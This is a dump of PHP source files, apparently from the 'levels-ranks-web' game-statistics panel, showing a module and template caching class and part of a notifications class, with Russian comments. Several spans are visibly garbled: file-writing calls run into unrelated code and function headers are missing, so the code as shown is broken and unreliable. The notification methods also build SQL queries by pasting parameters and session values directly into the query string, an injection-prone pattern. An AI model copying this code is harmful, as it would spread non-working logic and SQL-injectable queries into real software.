$arr_module_init_page_count = 0; /** * @since 0.2 * @var array */ public $arr_user_info = []; /** * @since 0.2 * @var array */ public $scan_modules = []; /** * @since 0.2 * @var array */ public $scan_templates = []; /** * @since 0.2 * @var array */ public $scan_ranks_pack = []; /** * @since 0.2 * @var array */ public $template_modules = []; /** * @since 0.2 * @var int */ public $array_ranks_pack_count = 0; /** * @since 0.2 * @var array */ public $actual_library = []; /** * @since 0.2 * @var array */ public $css_library = []; /** * @since 0.2 * @var array */ public $js_library = []; /** * @since 0.2 * @var string */ public $page_title = ''; /** * @since 0.2 * @var string */ public $page_description = ''; /** * @since 0.2 * @var string */ public $page_image = ''; /** * @since 0.2 * @var object */ public $General; /** * @since 0.2.122 * @var object */ public $Translate; /** * @since 0.2.122 * @var object */ public $Notifications; /** * @since 0.2 * @var object */ public $Router; /** * @since 0.2 * @var string */ public $route; /** * Организация работы вэб-приложения с модулями. * * @param object $General * @param object $Translate * @param object $Notifications * * @since 0.2 */ function __construct( $General, $Translate, $Notifications, $Router ) { // Проверка на основную константу. defined('IN_LR') != true && die(); $this->General = $General; $this->Translate = $Translate; $this->Notifications = $Notifications; $this->Router = $Router; //Проверка на iframe (!empty($_GET['code']) && !empty($_GET['description'])) && exit(require PAGE_CUSTOM . '/error/index.php'); // Получение кэшированного списка модулей. $this->array_modules = $this->get_arr_modules(); // Подсчёт количества модулей. $this->array_modules_count = sizeof( $this->array_modules ); // Получение списка инициализвации модулей в определенном порядке. $this->arr_module_init = $this->get_module_init(); $this->arr_module_init_page_count = sizeof( $this->arr_module_init['page'] ); // Получение кеша всех шаблонов $this->arr_templates = $this->get_templates_init(); // Сканирование папки с модулями. $this->scan_templates = array_diff( scandir( TEMPLATES, 1 ), array( '..', '.', 'disabled' ) ); $this->template_modules = $this->get_cache_template_modules(); // Сканирование дополнительных модулей в шаблоне (file_exists(TEMPLATES . $General->arr_general['theme'] . '/modules/')) && $this->get_template_modules(); // Подсчёт количества модулей. $this->array_templates_count = sizeof( $this->scan_templates ); //Добавление новых роутов $this->AddRoutes(); // Тупо сохраняем пока $match = $Router->match()['target'] ?? $Router->SearchRoute(); $this->route = ( strpos( $match, "?language=" ) !== false ) ? "home" : $match; $basename = parse_url($General->arr_general['site'], PHP_URL_PATH); (empty( $basename ) && empty( $this->route ) || $_SERVER['REQUEST_URI'] == '/' || $_SERVER['REQUEST_URI'] == $basename) && $this->route = 'home'; // Библиотека актуальности. $this->actual_library = $this->get_actual_library(); isset( $_SESSION['user_admin'] ) && $this->check_actual_modules_list(); // Проверка JS файлов. $this->check_generated_js(); // Проверка таблици стилей. $this->check_generated_style(); // Сканирование и добавление новых шаблонов $this->check_actual_templates(); // Проверка для роутера страниц ! empty( $checkroute ) && empty( $this->arr_module_init['page'][ $this->route ] ) && get_iframe( '009', 'Данная страница не существует' ); $_SESSION['page_redirect'] = $this->route; $this->check_copy(); } // Хз зачем я создал эту функцию, просто для получения кеша определенных модулей public function get_cache_template_modules() { if(file_exists(SESSIONS . 'templates_modules_cache.php')) return require SESSIONS . 'templates_modules_cache.php'; } // Добавление стилей для каждого стиля модуля в шаблоне (Да, по тупому, да и похрен) public function get_template_modules() { (!file_exists(TEMPLATES . $this->General->arr_general['theme'] . '/modules/')) && die; $scan = array_diff( scandir( TEMPLATES . $this->General->arr_general['theme'] . '/modules/', 1 ), array( '..', '.', 'disabled' ) ); if(!empty($scan) && $scan != array_keys($this->template_modules)) { $result = []; foreach ($scan as $key => $val) { if(file_exists(TEMPLATES . $this->General->arr_general['theme'] . '/modules/' . $scan[ $key ] . '/dop.css')) $result[ $scan[ $key ] ]['css'] = 1; if(file_exists(TEMPLATES . $this->General->arr_general['theme'] . '/modules/' . $scan[ $key ] . '/dop.js')) $result[ $scan[ $key ] ]['js'] = 1; } file_put_contents( SESSIONS . 'templates_modules_cache.php', 'template_modules = $result; return $result; } return $this->template_modules; } // Добавление шаблонов в отдельное кеширование public function get_templates_init() { if(!file_exists(SESSIONS . 'templates_cache.php')) { $scan = array_diff( scandir( TEMPLATES, 1 ), array( '..', '.', 'disabled' ) ); if( sizeof($scan) != 0 ) { foreach ($scan as $key => $val) { $result[ $scan[ $key ] ] = json_decode( file_get_contents( TEMPLATES . $scan[ $key ] . '/description.json') , true); } } // Создание/редактирование кэша шаблона. file_put_contents( SESSIONS . 'templates_cache.php', 'arr_module_init['page'] as $key => $val) $this->Router->map('GET', '/'.$key.'/', $key, $key); return; } /** * Получить библиотеку актуальных данных. * * @since 0.2.122 * * @return array Актуальная информация. */ public function get_actual_library() { if( file_exists( SESSIONS . '/actual_library.json' ) ): return json_decode( file_get_contents( SESSIONS . '/actual_library.json') , true ); else: $actual = ['actual_css_ver' => 0, 'actual_js_ver' => 0, 'actual_modules_count' => 0]; file_put_contents( SESSIONS . '/actual_library.json', json_encode( $actual ) ); return $actual; endif; } /** * Проверка на актуальный список модулей. * * @since 0.3.0 */ public function check_actual_templates() { $keys = array_keys($this->arr_templates); $zalupka = array_values(array_diff($keys, $this->scan_templates)); $zalupka2 = array_values(array_diff($this->scan_templates, $keys)); if(!empty($zalupka) || !empty($zalupka2)) { foreach (array_keys($this->arr_templates) as $val) { $search = array_search($val, $this->scan_templates); if($this->scan_templates[$search] == $val) { $templates[] = $val; } else { $note[] = ['text' => $this->Translate->get_translate_phrase("_TemplateDeleted") . " {$val}", 'status' => 'error']; } } // Проверка на модули, которых нет в оригинальном массиве, и их добавление в итоговый массив foreach ($this->scan_templates as $val) { $search = array_search($val, array_keys($this->arr_templates)); if(array_keys($this->arr_templates)[$search] != $val) { $templates[] = $val; $note[] = ['text' => $this->Translate->get_translate_phrase("_TemplateAdded") . " {$val}"]; } } for($i = 0; $i < sizeof( $templates ); $i++) $result[ $templates[ $i ] ] = json_decode( file_get_contents( TEMPLATES . $templates[ $i ] . '/description.json') , true); file_put_contents( SESSIONS . 'templates_cache.php', 'General->sendNote($note[$i]['text'], $note[$i]['status'] ?? 'success', 3); } unlink(SESSIONS . 'templates_modules_cache.php'); $this->action_clear_style_cache(); header("Refresh:3"); } } /** * Проверка на актуальный список модулей. * * @since 0.2.122 */ public function check_actual_modules_list() { // Сканирование папки с модулями. $scan_modules = array_diff( scandir( MODULES, 1 ), array( '..', '.', 'disabled' ) ); $keys = array_keys($this->array_modules); $zalupka = array_values(array_diff($scan_modules, $keys)); $zalupka2 = array_values(array_diff($keys, $scan_modules)); if(!empty($zalupka) || !empty($zalupka2)): // Удаление тех модулей, которых нет в выборке из папки foreach (array_keys($this->array_modules) as $val) { $search = array_search($val, $scan_modules); if($scan_modules[$search] == $val) { $modules[] = $val; } else { $note[] = ['text' => $this->Translate->get_translate_phrase("_ModuleDeleted") . " {$val}", 'status' => 'error']; } } // Проверка на модули, которых нет в оригинальном массиве, и их добавление в итоговый массив foreach ($scan_modules as $val) { $search = array_search($val, array_keys($this->array_modules)); if(array_keys($this->array_modules)[$search] != $val) { $modules[] = $val; $note[] = ['text' => $this->Translate->get_translate_phrase("_ModuleAdded") . " {$val}"]; } } for ( $i = 0, $c = sizeof( $modules ); $i < $c; $i++ ): // Получение информации о модуле $modules_desc[ $modules[ $i ] ] = json_decode( file_get_contents( MODULES . $modules[ $i ] . '/description.json') , true); if ($modules_desc[ $modules[ $i ] ]['setting']['status'] == 1 && $modules_desc[ $modules[ $i ] ]['required']['php'] <= PHP_VERSION && $modules_desc[ $modules[ $i ] ]['required']['core'] <= VERSION && $modules_desc[ $modules[ $i ] ]['page'] != 'all'): if( ! empty( $modules_desc[ $modules[ $i ] ]['setting']['interface'] ) && $modules_desc[ $modules[ $i ] ]['setting']['interface'] == 1 ): $result['page'][ $modules_desc[ $modules[ $i ] ]['page'] ]['interface'][ empty( $modules_desc[ $modules[ $i ] ]['setting']['interface_adjacent'] ) ? 'afternavbar' : $modules_desc[ $modules[ $i ] ]['setting']['interface_adjacent'] ][] = $modules[ $i ]; endif; if( ! empty( $modules_desc[ $modules[ $i ] ]['setting']['interface_always'] ) && $modules_desc[ $modules[ $i ] ]['setting']['interface_always'] == 1 ): $result['interface_always'][ empty( $modules_desc[ $modules[ $i ] ]['setting']['interface_always_adjacent'] ) ? 'afternavbar' : $modules_desc[ $modules[ $i ] ]['setting']['interface_always_adjacent'] ][] = ['name' => $modules[ $i ] ] ; endif; ! empty( $modules_desc[ $modules[ $i ] ]['setting']['data'] ) && $modules_desc[ $modules[ $i ] ]['setting']['data'] == 1 && $result['page'][ $modules_desc[ $modules[ $i ] ]['page'] ]['data'][] = $modules[ $i ]; ! empty( $modules_desc[ $modules[ $i ] ]['setting']['data_always'] ) && $modules_desc[ $modules[ $i ] ]['setting']['data_always'] == 1 && $result['data_always'][] = $modules[ $i ]; ! empty( $modules_desc[ $modules[ $i ] ]['setting']['js'] ) && $modules_desc[ $modules[ $i ] ]['setting']['js'] == 1 && $result['page'][ $modules_desc[ $modules[ $i ] ]['page'] ]['js'][] = ['name' => $modules[ $i ], 'type' => $modules_desc[ $modules[ $i ] ]['setting']['type']]; ! empty( $modules_desc[ $modules[ $i ] ]['setting']['css'] ) && $modules_desc[ $modules[ $i ] ]['setting']['css'] == 1 && $result['page'][ $modules_desc[ $modules[ $i ] ]['page'] ]['css'][] = ['name' => $modules[ $i ], 'type' => $modules_desc[ $modules[ $i ] ]['setting']['type']]; ! empty( $modules_desc[ $modules[ $i ] ]['sidebar'] ) && $result['sidebar'][] = $modules[ $i ]; endif; endfor; if(file_exists(SESSIONS . 'modules_initialization.php')) { $cache = require SESSIONS . 'modules_initialization.php'; if (! function_exists("array_key_last")) { function array_key_last($array) { if (!is_array($array) || empty($array)) { return NULL; } return array_keys($array)[count($array)-1]; } } //Циклы на распределение в сайдбаре, и на главной foreach ($result['sidebar'] as $key => $val) { $search = array_search($val, $cache['sidebar']); if($cache['sidebar'][$search] == $val) $res[$search] = $val; else $res[array_key_last($result['sidebar']) + sizeof($res) ?? 1] = $val; } foreach ($result['page']['home']['interface']['afternavbar'] as $key => $val) { $search = array_search($val, $cache['page']['home']['interface']['afternavbar']); if($cache['page']['home']['interface']['afternavbar'][$search] == $val) $restwo[$search] = $val; else $restwo[array_key_last($result['page']['home']['interface']['afternavbar']) + sizeof($restwo) ?? 1] = $val; } //Сортировка массивов по ключам ksort($res); ksort($restwo); //Присваивание итоговому результату отсортированные массивы $result['sidebar'] = array_values($res); $result['page']['home']['interface']['afternavbar'] = array_values($restwo); } // Сохраняем наш файл с перебором модулей. file_put_contents( SESSIONS . 'modules_initialization.php', 'General->sendNote($note[$i]['text'], $note[$i]['status'] ?? 'success', 3); } $this->action_clear_style_cache(); header("Refresh:3"); endif; } /** * Полностью очистить кэш вэб-приложения включая кэш модулей. */ function action_clear_style_cache() { // Ссылки на кэшируемые файлы. $cache_files = [ 'css_cache' => ASSETS_CSS . '/generation/style_generated.min.ver.' . $this->actual_library['actual_css_ver'] . '.css', 'js_cache' => ASSETS_JS . '/generation/app_generated.min.ver.' . $this->actual_library['actual_js_ver'] . '.js', ]; // Удаляем файл с генерируемыми стилями. file_exists( $cache_files['css_cache'] ) && unlink( $cache_files['css_cache'] ); // Удаляем файл с генерируемыми JS библиотекой. file_exists( $cache_files['js_cache'] ) && unlink( $cache_files['js_cache'] ); } private function check_copy() { $get = file_get_contents_fix(PAGE . "footer.php"); if(!strpos($get, "levels-ranks-web")) exit(get_iframe("Ой", 'Удалять копирайты нельзя!')); } /** * Инициализация модулей. * * @since 0.2 * * @return array Возвращает список модулей для инициализации. */ public function get_module_init() { // При отсутствии списока модулей для дальнейшей инициализации, выполняется создание данного списка. if ( ! file_exists( SESSIONS . 'modules_initialization.php' ) ): $result = []; for ( $i = 0; $i < $this->array_modules_count; $i++ ): // Перебором забираем корневое название модуля. $module = array_keys( $this->array_modules )[ $i ]; if ( $this->array_modules[ $module ]['setting']['status'] == 1 && $this->array_modules[ $module ]['required']['php'] <= PHP_VERSION && $this->array_modules[ $module ]['required']['core'] <= VERSION && $this->array_modules[ $module ]['page'] != 'all' ): if( ! empty( $this->array_modules[ $module ]['setting']['interface'] ) && $this->array_modules[ $module ]['setting']['interface'] == 1 ): $result['page'][ $this->array_modules[ $module ]['page'] ]['interface'][ empty( $this->array_modules[ $module ]['setting']['interface_adjacent'] ) ? 'afternavbar' : $this->array_modules[ $module ]['setting']['interface_adjacent'] ][] = $module; endif; if( ! empty( $this->array_modules[ $module ]['setting']['interface_always'] ) && $this->array_modules[ $module ]['setting']['interface_always'] == 1 ): $result['interface_always'][ empty( $this->array_modules[ $module ]['setting']['interface_always_adjacent'] ) ? 'afternavbar' : $this->array_modules[ $module ]['setting']['interface_always_adjacent'] ][] = ['name' => $module ] ; endif; ! empty( $this->array_modules[ $module ]['setting']['data'] ) && $this->array_modules[ $module ]['setting']['data'] == 1 && $result['page'][ $this->array_modules[ $module ]['page'] ]['data'][] = $module; ! empty( $this->array_modules[ $module ]['setting']['data_always'] ) && $this->array_modules[ $module ]['setting']['data_always'] == 1 && $result['data_always'][] = $module; ! empty( $this->array_modules[ $module ]['setting']['js'] ) && $this->array_modules[ $module ]['setting']['js'] == 1 && $result['page'][ $this->array_modules[ $module ]['page'] ]['js'][] = ['name' => $module, 'type' => $this->array_modules[ $module ]['setting']['type']]; ! empty( $this->array_modules[ $module ]['setting']['css'] ) && $this->array_modules[ $module ]['setting']['css'] == 1 && $result['page'][ $this->array_modules[ $module ]['page'] ]['css'][] = ['name' => $module, 'type' => $this->array_modules[ $module ]['setting']['type']]; ! empty( $this->array_modules[ $module ]['sidebar'] ) && $result['sidebar'][] = $module; endif; endfor; for ( $i2 = 0; $i2 < $c = sizeof( $result['page'] ); $i2++ ): // Перебором забираем корневое название страницы. $page = array_keys( $result['page'] )[ $i2 ]; for ( $i = 0; $i < $this->array_modules_count; $i++ ): // Перебором забираем корневое название модуля. $module = array_keys( $this->array_modules )[ $i ]; if ( $this->array_modules[ $module ]['setting']['status'] == 1 && $this->array_modules[ $module ]['required']['php'] <= PHP_VERSION && $this->array_modules[ $module ]['required']['core'] <= VERSION && $this->array_modules[ $module ]['page'] == 'all' ): if( ! empty( $this->array_modules[ $module ]['setting']['interface'] ) && $this->array_modules[ $module ]['setting']['interface'] == 1 ): $result['page'][ $page ]['interface'][ empty( $this->array_modules[ $module ]['setting']['interface_adjacent'] ) ? 'afternavbar' : $this->array_modules[ $module ]['setting']['interface_adjacent'] ][] = $module; endif; if( ! empty( $this->array_modules[ $module ]['setting']['interface_always'] ) && $this->array_modules[ $module ]['setting']['interface_always'] == 1 ): $result['interface_always'][ empty( $this->array_modules[ $module ]['setting']['interface_always_adjacent'] ) ? 'afternavbar' : $this->array_modules[ $module ]['setting']['interface_always_adjacent'] ][] = ['name' => $module ] ; endif; ! empty( $this->array_modules[ $module ]['setting']['data'] ) && $this->array_modules[ $module ]['setting']['data'] == 1 && $result['page'][ $page ]['data'][] = $module; ! empty( $this->array_modules[ $module ]['setting']['data_always'] ) && $this->array_modules[ $module ]['setting']['data_always'] == 1 && $result['data_always'][] = $module; ! empty( $this->array_modules[ $module ]['setting']['js'] ) && $this->array_modules[ $module ]['setting']['js'] == 1 && $result['page'][ $page ]['js'][] = ['name' => $module, 'type' => $this->array_modules[ $module ]['setting']['type']]; ! empty( $this->array_modules[ $module ]['setting']['css'] ) && $this->array_modules[ $module ]['setting']['css'] == 1 && $result['page'][ $page ]['css'][] = ['name' => $module, 'type' => $this->array_modules[ $module ]['setting']['type']]; ! empty( $this->array_modules[ $module ]['sidebar'] ) && $result['sidebar'][] = $module; endif; endfor; endfor; // Сохраняем наш файл с перебором модулей. file_put_contents( SESSIONS . 'modules_initialization.php', 'scan_modules = array_diff( scandir( MODULES, 1 ), array( '..', '.', 'disabled' ) ); // Подсчёт количества модулей. $this->array_modules_count = sizeof( $this->scan_modules ); if( $this->array_modules_count != 0 ) { // Цикл перебора описания модулей. for ( $i = 0; $i < $this->array_modules_count; $i++ ) { // Получение описания определенного модуля. $result[ $this->scan_modules[ $i ] ] = json_decode( file_get_contents( MODULES . $this->scan_modules[ $i ] . '/description.json') , true); } } // Создание/редактирование кэша модулей. file_put_contents( SESSIONS . 'modules_cache.php', 'General->arr_general['enable_css_cache'] ) ) : $this->css_library[] = ASSETS_CSS . '/style.css'; $this->css_library[] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/style.css'; // Подсчёт количества под-стилей. $css_library = array_diff( scandir( TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/', 1 ), array( '..', '.' ) ); // После проверки на существование подстиля, добавление ссылки подстиля в массив для компрессии. for ( $cgs = 0, $cgs_c = sizeof( $css_library ); $cgs < $cgs_c; $cgs++ ) { file_exists( TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/' . $css_library[ $cgs ] . '/' . (int) $this->General->arr_general[ $css_library[ $cgs ] ] . '.css' ) && $this->css_library[] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/' . $css_library[ $cgs ] . '/' . (int) $this->General->arr_general[ $css_library[ $cgs ] ] . '.css'; } else: // При отсутствии списока модулей для дальнейшей инициализации, выполняется создание данного списка. if ( ! file_exists( SESSIONS . '/actual_library.json' ) || empty( $this->actual_library['actual_css_ver'] ) || ! file_exists( ASSETS_CSS . '/generation/style_generated.min.ver.' . $this->actual_library['actual_css_ver'] . '.css' ) ): $files_css_compress = []; // Проверка на существование каталога с генерируемыми файлами ! file_exists( ASSETS_CSS . 'generation' ) && mkdir( ASSETS_CSS . 'generation', 0777, true ); // Если файл с темой существует, добавить ссылку на файл в массив для компрессии. file_exists( ASSETS_CSS .'/style.css' ) && $files_css_compress[0] = ASSETS_CSS . '/style.css'; // Добавление файла темы file_exists( TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/style.css' ) && $files_css_compress[1] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/style.css'; // Подсчёт количества под-стилей. $css_library = array_diff( scandir( TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/', 1 ), array( '..', '.' ) ); // После проверки на существование подстиля, добавление ссылки подстиля в массив для компрессии. for ( $cgs = 0, $cgs_c = sizeof( $css_library ); $cgs < $cgs_c; $cgs++ ) { file_exists( TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/' . $css_library[ $cgs ] . '/' . (int) $this->General->arr_general[ $css_library[ $cgs ] ] . '.css' ) && $files_css_compress[] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/css/css_library/' . $css_library[ $cgs ] . '/' . (int) $this->General->arr_general[ $css_library[ $cgs ] ] . '.css'; } for ( $i = 0; $i < $this->array_modules_count; $i++ ): // Перебором забираем корневое название модуля. $module = array_keys( $this->array_modules )[ $i ]; // Если модуль проходит проверку и имеет свою стилистику, то забираем ссылку на стиль в массив для компрессии. if ( $this->array_modules[ $module ]['setting']['status'] == 1 && $this->array_modules[ $module ]['required']['php'] <= PHP_VERSION && $this->array_modules[ $module ]['required']['core'] <= VERSION ): array_key_exists('css', $this->array_modules[ $module ]['setting'] ) && $this->array_modules[ $module ]['setting']['css'] == 1 && $files_css_compress[] = MODULES . $module . '/assets/css/' . $this->array_modules[ $module ]['setting']['type'] . '.css'; endif; endfor; // Сжимаем все файлы из массива. $final_css_compress = $this->action_css_compress( $files_css_compress ); // Обновляем актуальность кэша. $this->actual_library['actual_css_ver'] = time(); file_put_contents( SESSIONS . '/actual_library.json', json_encode( $this->actual_library ) ); // Очистка старых кэш файлов $temp_files = glob(ASSETS_CSS . 'generation/*'); foreach( $temp_files as $temp_file ){ if( is_file( $temp_file ) ) unlink( $temp_file ); } // Сохраняем итоговый CSS файл. file_put_contents( ASSETS_CSS . '/generation/style_generated.min.ver.' . $this->actual_library['actual_css_ver'] . '.css', $final_css_compress ); endif; endif; } /** * Проверка сгенерированного JavaScript. * * @since 0.2 */ public function check_generated_js() { if( empty( $this->General->arr_general['enable_js_cache'] ) ): $this->js_library[] = ASSETS_JS . 'app.js'; $this->js_library[] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/js/app.js'; else: // При отсутствии списока модулей для дальнейшей инициализации, выполняется создание данного списка. if ( ! file_exists( SESSIONS . '/actual_library.json' ) || ! file_exists( ASSETS_JS . '/generation/app_generated.min.ver.' . $this->actual_library['actual_js_ver'] . '.js' ) || empty( $this->actual_library['actual_js_ver'] ) ): // Проверка на существование каталога с генерируемыми файлами ! file_exists( ASSETS_JS . 'generation' ) && mkdir( ASSETS_JS . 'generation', 0777, true ); file_exists( ASSETS_JS . '/app.js' ) && $files_js_compress[] = ASSETS_JS . '/app.js'; file_exists( TEMPLATES . $this->General->arr_general['theme'] .'/assets/js/app.js' ) && $files_js_compress[] = TEMPLATES . $this->General->arr_general['theme'] .'/assets/js/app.js'; // Перебором забираем корневое название модулей. for ( $i = 0; $i < $this->array_modules_count; $i++ ): $module = array_keys( $this->array_modules )[ $i ]; if ( $this->array_modules[ $module ]['setting']['status'] == 1 && $this->array_modules[ $module ]['required']['php'] <= PHP_VERSION && $this->array_modules[ $module ]['required']['core'] <= VERSION ): array_key_exists('js', $this->array_modules[ $module ]['setting'] ) && $this->array_modules[ $module ]['setting']['js'] == 1 && $files_js_compress[] = MODULES . $module . '/assets/js/' . $this->array_modules[ $module ]['setting']['type'] . '.js'; endif; endfor; $final_js_compress = $this->action_js_compress( $files_js_compress ); $this->actual_library['actual_js_ver'] = time(); // Обновляем options file_put_contents( SESSIONS . '/actual_library.json', json_encode( $this->actual_library ) ); // Очистка старых кэш файлов $temp_files = glob( ASSETS_JS . 'generation/*' ); foreach( $temp_files as $temp_file ) { if( is_file( $temp_file ) ) unlink( $temp_file ); } // Сохраняем итоговый JS файл. file_put_contents( ASSETS_JS . '/generation/app_generated.min.ver.' . $this->actual_library['actual_js_ver'] . '.js', $final_js_compress ); endif; endif; } /** * Самостоятельно добавить раздел в sidebar. * * @since 0.2 * * @param string $module_id ID модуля. * @param array $array Опции раздела. */ public function set_sidebar_select( $module_id, $array ) { if ( ! in_array( $module_id, $this->arr_module_init['sidebar'] ) ): $this->arr_module_init['sidebar'][] = $module_id; $this->array_modules[ $module_id ]['sidebar'][] = $array; else: $this->array_modules[ $module_id ]['sidebar'][] = $array; endif; } /** * Добавление какого-либо текста в информационный блок авторизованного игрока в sidebar. * * @since 0.2 * * @param string $text Опции раздела. */ public function set_user_info_text( $text ) { $this->arr_user_info[] = $text; } /** * Задать заглавие страницы. * * @since 0.2 * * @param string $text Заголовок страницы. */ public function set_page_title( $text ) { $this->page_title = $text; } /** * Получить загловок страницы. * * @since 0.2.124 * * @return string $text Заголовок страницы. */ public function get_page_title() { return empty( $this->page_title ) ? $this->General->arr_general['full_name'] : $this->page_title; } /** * Задать описание страницы. * * @since 0.2 * * @param string $text Описание страницы. */ public function set_page_description( $text ) { $this->page_description = $text; } /** * Получить описание страницы. * * @since 0.2.124 * * @return string $text Описание страницы. */ public function get_page_description() { return empty( $this->page_description ) ? $this->General->arr_general['info'] : $this->page_description; } /** * Задать ссылку на изображение страницы. * * @since 0.2 * * @param string $text Изображение страницы. */ public function set_page_image( $text ) { $this->page_image = $text; } /** * Получить ссылку на изображение страницы. * * @since 0.2 * * @return string $text Изображение страницы. */ public function get_page_image() { if( empty( $this->page_image ) ): return file_exists( CACHE . '/img/global/bar_logo.jpg' ) ? $this->General->arr_general['site'] . 'storage/cache/img/global/bar_logo.jpg' : copy(CACHE . '/img/global/default_bar_logo.jpg', CACHE . '/img/global/bar_logo.jpg') && $this->General->arr_general['site'] . 'storage/cache/img/global/bar_logo.jpg'; else: return $this->General->arr_general['site'] . $this->page_image; endif; } /** * Компрессирует CSS файлы * * @since 0.2 * * @param array $files Массив файлов. * * @return string Итог компрессии. */ public function action_css_compress( $files = [] ) { $buffer = ""; foreach ($files as $cssFile) { $buffer .= file_get_contents($cssFile); } $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); $buffer = str_replace(': ', ':', $buffer); $buffer = str_replace(array("\r\n", "\r", "\n", "\t", ' ', ' ', ' '), '', $buffer); return $buffer; } /** * Компрессирует JS файлы * * @since 0.2 * * @param array $files Массив файлов. * * @return string Итог компрессии. */ public function action_js_compress( $files = [] ) { $buffer = ""; foreach ($files as $File) { $buffer .= file_get_contents($File); } return $buffer; } /** * Перевод времени. * * @since 0.2 * * @param int $seconds Время в секундах * @param int $type Тип вывода. * * @return string Итог перевода. */ function action_time_exchange( $seconds, $type = 0 ) { if( floor($seconds / 60 / 60 / 24 / 30 ) != 0 && ( $type == 0 || $type == 5 ) ) { $month = floor($seconds / 60 / 60 / 24 / 30 ); return $month > 1 ? $month . ' ' . $this->Translate->get_translate_phrase('_Months') : $month . ' ' . $this->Translate->get_translate_phrase('_Month'); } elseif ( floor($seconds / 60 / 60 / 24 / 7 ) != 0 && ( $type == 0 || $type == 4 ) ) { $week = floor($seconds / 60 / 60 / 24 / 7 ); return $week > 1 ? $week . ' ' . $this->Translate->get_translate_phrase('_Weeks') : $week . ' ' . $this->Translate->get_translate_phrase('_Week'); } elseif ( floor($seconds / 60 / 60 / 24 ) != 0 && ( $type == 0 || $type == 3 ) ) { $day = floor($seconds / 60 / 60 / 24 ); return $day > 1 ? $day . ' ' . $this->Translate->get_translate_phrase('_Days') : $day . ' ' . $this->Translate->get_translate_phrase('_Day'); } elseif ( floor($seconds / 60 / 60 ) != 0 && ( $type == 0 || $type == 2 ) ) { $hour = floor($seconds / 60 / 60 ); return $hour > 1 ? $hour . ' ' . $this->Translate->get_translate_phrase('_Hour') : $hour . ' ' . $this->Translate->get_translate_phrase('_Hour'); } elseif ( floor($seconds / 60 ) != 0 && ( $type == 0 || $type == 1 ) ) { $min = floor($seconds / 60 ); return $min > 1 ? $min . ' ' . $this->Translate->get_translate_phrase('_Minute') : $min . ' ' . $this->Translate->get_translate_phrase('_Minute'); } else { return $seconds . ' ' . $this->Translate->get_translate_phrase('_Second'); } } /** * Получение баланса игрока * * @return int|bool */ public function get_balance() { if(isset($_SESSION['steamid32']) && isset($this->General->Db->db_data['lk'])) { preg_match('/:[0-9]{1}:\d+/i', $_SESSION['steamid32'], $auth); $param = ['auth'=> '%'.$auth[0].'%']; if($this->General->Db->db_data['lk'][0]['mod'] == 1) { $infoUser =$this->General->Db->queryAll('lk', $this->General->Db->db_data['lk'][0]['USER_ID'], $this->General->Db->db_data['lk'][0]['DB_num'], "SELECT `cash` FROM `lk` WHERE `auth` LIKE :auth LIMIT 1", $param); $cash = 'cash'; } else if($this->General->Db->db_data['lk'][0]['mod'] == 2) { $infoUser =$this->General->Db->queryAll('lk', $this->General->Db->db_data['lk'][0]['USER_ID'], $this->General->Db->db_data['lk'][0]['DB_num'], "SELECT `money` FROM `lk_system` WHERE `auth` LIKE :auth LIMIT 1", $param); $cash = 'money'; } return number_format($infoUser[0][$cash],0,' ', ' '); } return false; } } ================================================ FILE: app/ext/Notifications.php ================================================ Translate = $Translate; $this->Db = $Db; // Чет оно шизу ловит //$this->NotificationDelete(); $this->NotificationsRender(); } /** * Функция оправки уведемлений * * @param string $steam Стим айди уведомляемого * @param string $text Название перевода * @param array $values_insert Параметры для перевода ['amount'=>100], для установки перевода с модуля указать в параметре 'module_translation'=> название модуля пример ['amount'=>100, 'module_translation'=> module_page_lk] * @param string $url Ссылка, например на платеж * @param string $icon название иконки для отображения */ public function SendNotification( $steam, $text, $values_insert, $url, $icon ) { //Проверка Параметров на пустоту if($values_insert == null){ //Если пустые укажем для json что это массив $values_insert =[]; } //Устанавливаем параметры для SQL запроса $param = [ 'steam' => $steam, 'text' => $text, 'values_insert' => json_encode($values_insert),//Формируем Json 'url' => $url, 'icon' => $icon, ]; $this->Db->query('Core', 0, 0, "INSERT INTO `lr_web_notifications`(`steam`, `text`, `values_insert`, `url`, `icon`, `seen`, `status`) VALUES ('{$param['steam']}', '{$param['text']}', '{$param['values_insert']}', '{$param['url']}', '{$param['icon']}', 0, 0)"); } /** * Функция прослушивания на пост запрос о выводе уведемлений */ public function NotificationsRender() { //Проверка на ссессию авторизации и на POST запросы if( ! empty( $_SESSION['steamid32'] ) && ! empty( $_POST['notific'] ) || ! empty( $_SESSION['steamid32'] ) && ! empty( $_POST['entryid'] ) ) { if(!empty($_POST['notific'])){ //Если POST о просмотре запроса вызываем функцию обновления уведемления просмотра $this->NotificationUpdate($_POST['notific']); } else { //Вызываем функцию поиска не прочтенных уведомлений $unread = $this->NotificationsEach(true); //Подсчитываем сколько не прочтенных $unread_count = count($unread); //--- $count = 0; //Крутим массив полученых данных foreach ($unread as $notification) { //проверка если уведомлени не больше 6 То подготавливаем html вывод последних 6 уведомлений if ($count < 6) { $notifications[] = array( 'id' => $notification['id'], 'seen' => $notification['seen'], 'url' => $notification['url'], 'html' => '
  • '.$notification['text'].'
  • ', ); ++$count; } } //Вывод if ( ! empty( $notifications ) ): echo json_encode(array('count' => $unread_count, 'no_notifications' => $this->Translate->get_translate_phrase('_No_Notifications'), 'notifications' => array_reverse($notifications))); exit; else: echo json_encode(array('count' => $unread_count, 'no_notifications' => $this->Translate->get_translate_phrase('_No_Notifications'), 'notifications' => null)); exit; endif; } } } /** * Функция подготовки вывода уведомлений * * @param bool $view параметр для звукового уведомления * * @return array Уведомления которые ещё не были показаны, актуальноость. */ public function NotificationsEach( $view ) { $param = ['steam'=> $_SESSION['steamid32']]; $NotificationsEach = $this->Db->queryAll('Core', 0, 0, "SELECT * FROM `lr_web_notifications` WHERE `status` = 0 AND `steam` = '$param[steam]' ORDER BY `id` DESC"); $deliver = []; foreach($NotificationsEach as $notification){ $values = json_decode($notification['values_insert']); //проверка на перевод if(!empty($values->module_translation)){ $text = $this->Translate->get_translate_module_phrase($values->module_translation, $notification['text']); }else $text = 